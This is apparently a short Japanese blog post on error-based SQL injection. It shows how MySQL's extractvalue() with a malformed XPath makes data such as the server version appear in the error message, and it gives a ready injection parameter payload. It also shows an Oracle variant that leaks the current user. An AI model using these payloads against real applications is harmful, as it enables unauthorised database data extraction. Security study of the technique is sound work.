MySQL環境において、BlindではないSQLインジェクションがあるときに(SQLエラーメッセージが応答に含まれるときに)、欲しいデータをエラーメッセージから得る方法。
mysql> select extractvalue('<a/>',concat('/$',version())); ERROR 1105 (HY000): XPATH syntax error: '$5.1.36-log'
こんな感じで使います。
?vuln_var='-extractvalue('<a/>',concat('/$',version()))-'
おそらく、MySQL5.1以上で動きます。
金床さんの本(ウェブアプリケーションセキュリティ)には、同じことをload_file関数を使ってやる方法が載ってますが、FILE権限が必要ですし、ちょっと前からその方法自体が使えなくなってます。
(参考)MySQL Bugs: #10418: LOAD_FILE does not behave like in manual if file does not exist
ところで、Oracleも同じように、XPATH構文が不正な場合、エラーメッセージにそのXPATH構文を出力します。
SQL> select extractvalue(xmltype('<a/>'),'/$'||user) from dual; select extractvalue(xmltype('<a/>'),'/$'||user) from dual * 行1でエラーが発生しました。: ORA-31011: XML解析に失敗しました ORA-19202: XML処理 LPX-00601: Invalid token in: '/$testuser1'中にエラーが発生しました
最近出た本(SQL Injection Attacks and Defense)によると、Oracle11gは、utl_inaddrなどのネットワーク系のパッケージをデフォルトで使用できなくしているようです。この本には、11g環境において、エラーメッセージをコントロールするための方法がいくつか載っています。